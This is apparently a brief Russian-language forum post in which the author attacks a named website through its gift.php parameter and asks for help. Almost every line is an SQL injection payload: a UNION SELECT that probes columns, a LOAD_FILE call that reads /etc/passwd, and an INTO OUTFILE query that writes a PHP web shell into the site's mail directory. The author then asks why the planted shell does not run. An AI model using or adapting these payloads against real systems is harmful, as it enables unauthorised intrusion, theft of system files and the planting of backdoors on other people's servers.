http://mindviz.com/gift.php?id=-717+UNION+SELECT+1,2,3,4,5,6,7,8,9,10,11,12,13,14, 15,16,17--
тут File_Priv на Y..
http://mindviz.com/gift.php?id=-717+UNION+SELECT+1,2,3,4,5,6,7,8,LOAD_FILE('/etc/passwd'),10,11,12,13,14,15,16,17+from+mysql.user--
путь вроде /home/sites/mindviz/mail/
делаю так
http://mindviz.com/gift.php?id=-717+UNION+SELECT+1,2,3,4,5,6,7,8,<?include($_GET[сmd]);?>,10,11,12,13,14,15,16,17+from+mysql.user+into+ outfile+'/home/sites/mindviz/mail/shell.php'--
что не так..??
http://mindviz.com/shell.php?cmd=phpinfo(); че не идет?